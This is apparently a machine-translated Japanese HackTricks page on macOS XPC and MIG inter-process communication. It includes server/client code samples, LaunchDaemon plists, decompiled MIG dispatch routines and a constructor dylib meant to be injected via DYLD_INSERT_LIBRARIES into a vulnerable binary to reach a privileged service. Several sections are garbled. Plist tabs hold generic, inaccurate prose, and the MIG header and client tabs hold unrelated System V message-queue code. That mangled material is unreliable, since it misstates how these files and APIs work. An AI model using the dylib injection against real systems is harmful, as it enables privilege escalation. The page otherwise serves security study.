XPC(XNUはmacOSで使用されるカーネル)インタープロセス通信は、macOSとiOS上のプロセス間の通信のためのフレームワークです。XPCは、システム上の異なるプロセス間で安全な非同期メソッド呼び出しを行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、特権を分離したアプリケーションの作成を可能にし、各コンポーネントが必要な権限のみでジョブを実行することで、侵害されたプロセスからの潜在的な被害を制限します。
XPCは、同じシステム上で実行される異なるプログラム間でデータを送受信するための一連のメソッドである、インタープロセス通信(IPC)の形式を使用します。
XPCの主な利点は次のとおりです:
- セキュリティ:作業を異なるプロセスに分割することで、各プロセスに必要な権限のみを付与することができます。これにより、プロセスが侵害された場合でも、被害を最小限に抑えることができます。
- 安定性:XPCは、クラッシュを発生したコンポーネントに限定して分離するのに役立ちます。プロセスがクラッシュした場合、システムの他の部分に影響を与えることなく再起動することができます。
- パフォーマンス:XPCは簡単な並行性を可能にし、異なるプロセスで同時にさまざまなタスクを実行することができます。
唯一の欠点は、アプリケーションを複数のプロセスに分割してXPCを介して通信させることが効率的ではないということです。しかし、現在のシステムではほとんど気づかれず、利点の方が優れています。
アプリケーション固有のXPCサービス
アプリケーションのXPCコンポーネントは、アプリケーション自体の中にあります。たとえば、Safariでは、/Applications/Safari.app/Contents/XPCServices
にそれらを見つけることができます。拡張子は.xpc
(例:com.apple.Safari.SandboxBroker.xpc
)であり、メインバイナリの中にもバンドルされています:/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker
およびInfo.plist:/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist
XPCコンポーネントは、他のXPCコンポーネントやメインのアプリバイナリとは異なるエンタイトルメントと特権を持つ場合があります。ただし、XPCサービスがInfo.plistファイルでJoinExistingSessionを「True」に設定されている場合は、XPCサービスは呼び出したアプリケーションと同じセキュリティセッションで実行されます。
XPCサービスは、必要に応じてlaunchdによって起動され、すべてのタスクが完了した後にシャットダウンされ、システムリソースを解放します。アプリケーション固有のXPCコンポーネントは、アプリケーションのみが利用できるため、潜在的な脆弱性に関連するリスクを低減します。
システム全体のXPCサービス
システム全体のXPCサービスは、すべてのユーザーがアクセスできます。これらのサービスは、launchdまたはMachタイプであり、/System/Library/LaunchDaemons
、/Library/LaunchDaemons
、/System/Library/LaunchAgents
、または**/Library/LaunchAgents
**などの指定されたディレクトリにあるplistファイルで定義する必要があります。
これらのplistファイルには、サービスの名前を持つ**MachServices
キーと、バイナリへのパスを持つProgram
**キーがあります。
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Program</key>
<string>/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon</string>
<key>AbandonProcessGroup</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.jamf.management.daemon</string>
<key>MachServices</key>
<dict>
<key>com.jamf.management.daemon.aad</key>
<true/>
<key>com.jamf.management.daemon.agent</key>
<true/>
<key>com.jamf.management.daemon.binary</key>
<true/>
<key>com.jamf.management.daemon.selfservice</key>
<true/>
<key>com.jamf.management.daemon.service</key>
<true/>
</dict>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
**LaunchDameons
**内のものはrootで実行されます。したがって、特権を持たないプロセスがこれらのいずれかと通信できれば、特権を昇格させることができる可能性があります。
XPCイベントメッセージ
アプリケーションは、異なるイベントメッセージにサブスクライブすることができ、そのようなイベントが発生したときにオンデマンドで開始されることができます。これらのサービスのセットアップは、**LaunchEvent
キーを含むlaunchd plistファイル
**によって行われます。これらのファイルは、前述のものと同じディレクトリにあります。
XPC接続プロセスのチェック
プロセスがXPC接続を介してメソッドを呼び出そうとするとき、XPCサービスはそのプロセスが接続を許可されているかどうかをチェックする必要があります。以下は、そのチェック方法と一般的な落とし穴です:
{% content-ref url="macos-xpc-connecting-process-check.md" %} macos-xpc-connecting-process-check.md {% endcontent-ref %}
XPC認証
Appleはまた、アプリがいくつかの権限とその取得方法を設定することも許可しています。したがって、呼び出し元のプロセスがこれらの権限を持っている場合、XPCサービスからのメソッドの呼び出しが許可されます。
{% content-ref url="macos-xpc-authorization.md" %} macos-xpc-authorization.md {% endcontent-ref %}
Cコードの例
{% tabs %} {% tab title="xpc_server.c" %}
// gcc xpc_server.c -o xpc_server
#include <xpc/xpc.h>
static void handle_event(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "message");
printf("Received message: %s\n", received_message);
// Create a response dictionary
xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(response, "received", "received");
// Send response
xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
xpc_connection_send_message(remote, response);
// Clean up
xpc_release(response);
}
}
static void handle_connection(xpc_connection_t connection) {
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
handle_event(event);
});
xpc_connection_resume(connection);
}
int main(int argc, const char *argv[]) {
xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
dispatch_get_main_queue(),
XPC_CONNECTION_MACH_SERVICE_LISTENER);
if (!service) {
fprintf(stderr, "Failed to create service.\n");
exit(EXIT_FAILURE);
}
xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_CONNECTION) {
handle_connection(event);
}
});
xpc_connection_resume(service);
dispatch_main();
return 0;
}
{% tab title="xpc_client.c" %}
#include <stdio.h>
#include <stdlib.h>
#include <xpc/xpc.h>
int main(int argc, const char * argv[]) {
xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_DICTIONARY) {
const char *description = xpc_dictionary_get_string(event, "description");
printf("Received event: %s\n", description);
}
});
xpc_connection_resume(connection);
dispatch_main();
return 0;
}
{% endtab %}
// gcc xpc_client.c -o xpc_client
#include <xpc/xpc.h>
int main(int argc, const char *argv[]) {
xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "received");
printf("Received message: %s\n", received_message);
}
});
xpc_connection_resume(connection);
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "message", "Hello, Server!");
xpc_connection_send_message(connection, message);
dispatch_main();
return 0;
}
{% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plistファイルは、macOSで実行されるサービスの設定ファイルです。このファイルは、サービスの起動時に使用されるパラメータや環境変数などの設定を含んでいます。このファイルを編集することで、サービスの動作をカスタマイズすることができます。
このファイルを使用して、サービスの起動時に実行されるコマンドやスクリプトを指定することもできます。また、サービスの起動時に特定のユーザー権限で実行されるように設定することも可能です。
xyz.hacktricks.service.plistファイルは、以下の場所に配置されています。
/Library/LaunchDaemons/xyz.hacktricks.service.plist
このファイルを編集する際には、注意が必要です。誤った設定や不正なコマンドを指定すると、システムの安定性やセキュリティに影響を与える可能性があります。したがって、慎重に編集することをお勧めします。
また、このファイルを使用して特権昇格攻撃を行うこともできます。特権昇格攻撃は、悪意のあるユーザーがシステム内の特権を取得するための攻撃手法です。この攻撃を防ぐためには、適切なセキュリティ対策を実施する必要があります。
xyz.hacktricks.service.plistファイルのセキュリティを強化するためには、次の手順を実施することが推奨されています。
- 不要なサービスを無効化する
- サービスの起動時に実行されるコマンドやスクリプトを検証する
- サービスの起動時に使用されるユーザー権限を制限する
- サービスの設定ファイルのアクセス権を適切に設定する
これらの手順を実施することで、xyz.hacktricks.service.plistファイルを安全に使用することができます。セキュリティ対策を怠らずに、システムの安全性を確保しましょう。{% endtab %}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.service</string>
<key>MachServices</key>
<dict>
<key>xyz.hacktricks.service</key>
<true/>
</dict>
<key>Program</key>
<string>/tmp/xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/xpc_server</string>
</array>
</dict>
</plist>
{% endtab %} {% endtabs %}
# Compile the server & client
gcc xpc_server.c -o xpc_server
gcc xpc_client.c -o xpc_client
# Save server on it's location
cp xpc_server /tmp
# Load daemon
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
# Call client
./xpc_client
# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
ObjectiveCコードの例
{% tabs %} {% tab title="oc_xpc_server.m" %}
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
#include <Foundation/Foundation.h>
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
@interface MyXPCObject : NSObject <MyXPCProtocol>
@end
@implementation MyXPCObject
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
NSLog(@"Received message: %@", some_string);
NSString *response = @"Received";
reply(response);
}
@end
@interface MyDelegate : NSObject <NSXPCListenerDelegate>
@end
@implementation MyDelegate
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
MyXPCObject *my_object = [MyXPCObject new];
newConnection.exportedObject = my_object;
[newConnection resume];
return YES;
}
@end
int main(void) {
NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];
id <NSXPCListenerDelegate> delegate = [MyDelegate new];
listener.delegate = delegate;
[listener resume];
sleep(10); // Fake something is done and then it ends
}
{% tab title="oc_xpc_client.m" %}
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
int main(void) {
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
[connection resume];
[[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
}];
[[NSRunLoop currentRunLoop] run];
return 0;
}
{% tab title="xyz.hacktricks.svcoc.plist" %}xyz.hacktricks.svcoc.plistファイルは、macOSでのIPC(プロセス間通信)を設定するためのプロパティリストファイルです。IPCは、異なるプロセス間でデータを送受信するための仕組みです。
このプロパティリストファイルを使用することで、IPCを使用するプロセスのセキュリティと特権のエスカレーションを制御することができます。具体的には、IPCを使用するプロセスのアクセス制御リスト(ACL)や特権レベルを設定することができます。
xyz.hacktricks.svcoc.plistファイルは、以下のような設定を含むことができます:
- プロセス間通信の許可または拒否
- プロセス間通信の暗号化
- プロセス間通信の認証
- 特定のプロセスへのアクセス制御リスト(ACL)の設定
このファイルを適切に設定することで、IPCを使用するプロセスのセキュリティを強化し、特権のエスカレーションを防ぐことができます。注意点として、このファイルを誤った設定で変更すると、正常なプロセス間通信が妨げられる可能性があるため、慎重に設定する必要があります。{% endtab %}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.svcoc</string>
<key>MachServices</key>
<dict>
<key>xyz.hacktricks.svcoc</key>
<true/>
</dict>
<key>Program</key>
<string>/tmp/oc_xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/oc_xpc_server</string>
</array>
</dict>
</plist>
{% endtab %} {% endtabs %}
# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
# Save server on it's location
cp oc_xpc_server /tmp
# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
# Call client
./oc_xpc_client
# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
Dylibコード内のクライアント
The client code inside a dylib is responsible for establishing communication with the server and exchanging data through inter-process communication (IPC) mechanisms. In macOS, the most commonly used IPC mechanisms are Mach ports and XPC.
Mach Ports
Mach ports are low-level IPC mechanisms provided by the Mach kernel. They allow processes to send messages to each other by using port rights. The client code typically creates a send right to a Mach port and uses it to send messages to the server.
To establish communication with the server, the client code needs to know the server's Mach port name. This can be obtained through various means, such as hardcoding the port name or dynamically discovering it at runtime.
Once the client has the server's Mach port name, it can create a send right to the port and use it to send messages. The messages can contain data or requests for specific operations to be performed by the server.
XPC
XPC (Cross-Process Communication) is a higher-level IPC mechanism provided by macOS. It simplifies the process of establishing communication between processes by abstracting away the complexities of Mach ports.
In XPC, the client code interacts with the server through a connection object. The client code creates an XPC connection to the server and uses it to send messages and receive responses.
To establish an XPC connection, the client code needs to know the server's service name. This can be obtained through various means, such as hardcoding the service name or dynamically discovering it at runtime.
Once the client has the server's service name, it can create an XPC connection to the server and use it to send messages. The messages can contain data or requests for specific operations to be performed by the server.
Overall, the client code inside a dylib plays a crucial role in establishing communication with the server and facilitating the exchange of data and commands through IPC mechanisms like Mach ports and XPC.
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
// gcc injection example:
// DYLD_INSERT_LIBRARIES=oc_xpc_client.dylib /path/to/vuln/bin
#import <Foundation/Foundation.h>
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
{
NSString* _serviceName = @"xyz.hacktricks.svcoc";
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]];
[_agentConnection resume];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
} ];
NSLog(@"Done!");
return;
}
MIG - Mach Interface Generator
MIGは、Mach IPCコードの作成プロセスを簡素化するために作成されました。基本的には、サーバーとクライアントが指定された定義と通信するために必要なコードを生成します。生成されたコードが醜い場合でも、開発者はそれをインポートするだけで、以前よりも簡単なコードを作成することができます。
例
以下は、非常にシンプルな関数を持つ定義ファイルを作成する例です:
{% code title="myipc.defs" %}
subsystem myipc 500; // Arbitrary name and id
userprefix USERPREF; // Prefix for created functions in the client
serverprefix SERVERPREF; // Prefix for created functions in the server
#include <mach/mach_types.defs>
#include <mach/std_types.defs>
simpleroutine Subtract(
server_port : mach_port_t;
n1 : uint32_t;
n2 : uint32_t);
{% endcode %}
次に、migを使用して、互いに通信し、Subtract関数を呼び出すためのサーバーとクライアントのコードを生成します。
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
現在のディレクトリにいくつかの新しいファイルが作成されます。
ファイル**myipcServer.c
とmyipcServer.h
**には、struct **SERVERPREFmyipc_subsystem
**の宣言と定義が含まれており、受信したメッセージIDに基づいて呼び出す関数を定義しています(開始番号は500としました):
{% tabs %} {% tab title="myipcServer.c" %}
/* Description of this subsystem, for use in direct RPC */
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
myipc_server_routine,
500, // start ID
501, // end ID
(mach_msg_size_t)sizeof(union __ReplyUnion__SERVERPREFmyipc_subsystem),
(vm_address_t)0,
{
{ (mig_impl_routine_t) 0,
// Function to call
(mig_stub_routine_t) _XSubtract, 3, 0, (routine_arg_descriptor_t)0, (mach_msg_size_t)sizeof(__Reply__Subtract_t)},
}
};
{% tab title="myipcServer.h" %}
#ifndef MYIPCSERVER_H
#define MYIPCSERVER_H
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define MAX_TEXT_SIZE 512
struct mymsgbuf {
long mtype;
char mtext[MAX_TEXT_SIZE];
};
#endif /* MYIPCSERVER_H */
{% endtab %}
/* Description of this subsystem, for use in direct RPC */
extern const struct SERVERPREFmyipc_subsystem {
mig_server_routine_t server; /* Server routine */
mach_msg_id_t start; /* Min routine number */
mach_msg_id_t end; /* Max routine number + 1 */
unsigned int maxsize; /* Max msg size */
vm_address_t reserved; /* Reserved */
struct routine_descriptor /* Array of routine descriptors */
routine[1];
} SERVERPREFmyipc_subsystem;
{% endtab %} {% endtabs %}
前の構造に基づいて、関数**myipc_server_routine
はメッセージID**を取得し、適切な関数を呼び出して返します。
mig_external mig_routine_t myipc_server_routine
(mach_msg_header_t *InHeadP)
{
int msgh_id;
msgh_id = InHeadP->msgh_id - 500;
if ((msgh_id > 0) || (msgh_id < 0))
return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
この例では、定義で関数を1つだけ定義しましたが、もし複数の関数を定義した場合、それらは**SERVERPREFmyipc_subsystem
**の配列内に含まれ、最初の関数はID 500に割り当てられ、2番目の関数はID 501に割り当てられます...
実際には、この関係を**myipcServer.h
のsubsystem_to_name_map_myipc
**構造体で特定することが可能です。
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
{ "Subtract", 500 }
#endif
最後に、サーバーを動作させるための重要な機能である**myipc_server
**があります。これは、受信したIDに関連する関数を実際に呼び出すものです。
mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
/*
* typedef struct {
* mach_msg_header_t Head;
* NDR_record_t NDR;
* kern_return_t RetCode;
* } mig_reply_error_t;
*/
mig_routine_t routine;
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
/* 最小サイズ:routine()が異なる場合は更新されます */
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
OutHeadP->msgh_reserved = 0;
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
return FALSE;
}
(*routine) (InHeadP, OutHeadP);
return TRUE;
}
以下のコードを確認して、生成されたコードを使用してサーバーとクライアントを作成し、クライアントがサーバーの関数Subtractを呼び出せるようにします:
{% tabs %} {% tab title="myipc_server.c" %}
// gcc myipc_server.c myipcServer.c -o myipc_server
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "myipcServer.h"
kern_return_t SERVERPREFSubtract(mach_port_t server_port, uint32_t n1, uint32_t n2)
{
printf("Received: %d - %d = %d\n", n1, n2, n1 - n2);
return KERN_SUCCESS;
}
int main() {
mach_port_t port;
kern_return_t kr;
// Register the mach service
kr = bootstrap_check_in(bootstrap_port, "xyz.hacktricks.mig", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_check_in() failed with code 0x%x\n", kr);
return 1;
}
// myipc_server is the function that handles incoming messages (check previous exlpanation)
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define MAX_MSG_SIZE 100
struct msg_buffer {
long msg_type;
char msg_text[MAX_MSG_SIZE];
};
int main() {
key_t key;
int msg_id;
struct msg_buffer msg;
// Generate a unique key
key = ftok("myipc_server.c", 'A');
// Create a message queue
msg_id = msgget(key, 0666 | IPC_CREAT);
// Prompt the user to enter a message
printf("Enter a message: ");
fgets(msg.msg_text, MAX_MSG_SIZE, stdin);
msg.msg_type = 1;
// Send the message to the server
msgsnd(msg_id, &msg, sizeof(msg), 0);
// Display the response from the server
msgrcv(msg_id, &msg, sizeof(msg), 2, 0);
printf("Response from server: %s", msg.msg_text);
// Remove the message queue
msgctl(msg_id, IPC_RMID, NULL);
return 0;
}
{% endtab %}
{% tab title="myipc_server.c" %}
// gcc myipc_client.c myipcUser.c -o myipc_client
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "myipcUser.h"
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "xyz.hacktricks.mig", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("Port right name %d\n", port);
USERPREFSubtract(port, 40, 2);
}
バイナリ解析
多くのバイナリが現在MIGを使用してmachポートを公開しているため、MIGが使用されたかどうかを特定する方法と、各メッセージIDでMIGが実行する関数を特定する方法を知ることは興味深いです。
jtool2は、Mach-OバイナリからMIG情報を解析し、メッセージIDを示し、実行する関数を特定することができます。
jtool2 -d __DATA.__const myipc_server | grep MIG
以前に、受信したメッセージIDに応じて正しい関数を呼び出すための関数は myipc_server
であると述べられました。しかし、通常はバイナリのシンボル(関数名)を持っていないため、それがどのように逆コンパイルされるかを確認することは興味深いです。なぜなら、それは常に非常に似ているからです(この関数のコードは公開された関数とは独立しています):
{% tabs %} {% tab title="myipc_server decompiled 1" %}
int _myipc_server(int arg0, int arg1) {
var_10 = arg0;
var_18 = arg1;
// 適切な関数ポインタを見つけるための初期命令
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// この関数を識別するのに役立つ sign_extend_64 の呼び出し
// これにより、呼び出す必要のある呼び出しのポインタが rax に格納されます
// アドレス 0x100004040(関数アドレス配列)の使用を確認してください
// 0x1f4 = 500(開始ID)
rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
var_20 = rax;
// もし - そうでなければ、if は false を返し、else は正しい関数を呼び出して true を返します
if (rax == 0x0) {
*(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
var_4 = 0x0;
}
else {
// 2つの引数を持つ適切な関数を呼び出す計算されたアドレス
(var_20)(var_10, var_18);
var_4 = 0x1;
}
}
else {
*(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
var_4 = 0x0;
}
rax = var_4;
return rax;
}
{% endtab %}
{% tab title="myipc_server decompiled 2" %} これは異なる Hopper free バージョンで逆コンパイルされた同じ関数です:
int _myipc_server(int arg0, int arg1) {
r31 = r31 - 0x40;
saved_fp = r29;
stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// 適切な関数ポインタを見つけるための初期命令
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 > 0x0) {
if (CPU_FLAGS & G) {
r8 = 0x1;
}
}
if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 < 0x0) {
if (CPU_FLAGS & L) {
r8 = 0x1;
}
}
if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500(開始ID)
r8 = r8 - 0x1f4;
asm { smaddl x8, w8, w9, x10 };
r8 = *(r8 + 0x8);
var_20 = r8;
r8 = r8 - 0x0;
if (r8 != 0x0) {
if (CPU_FLAGS & NE) {
r8 = 0x1;
}
}
// 前のバージョンと同じ if else
// アドレス 0x100004040(関数アドレス配列)の使用を確認してください
if ((r8 & 0x1) == 0x0) {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
else {
// 計算されたアドレスに関数を呼び出す
(var_20)(var_10, var_18);
var_4 = 0x1;
}
}
else {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
}
else {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
r0 = var_4;
return r0;
}
{% endtab %} {% endtabs %}
実際には、関数 0x100004000
に移動すると、routine_descriptor
構造体の配列が見つかります。構造体の最初の要素は関数が実装されているアドレスであり、構造体は0x28バイトを取ります。したがって、0バイトから始まる各0x28バイトで8バイトを取得し、それが呼び出される関数のアドレスになります。
このデータは、この Hopper スクリプトを使用して抽出できます。
参考文献
- https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
- https://knight.sc/malware/2019/03/15/code-injection-on-macos.html
- https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンを入手したいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。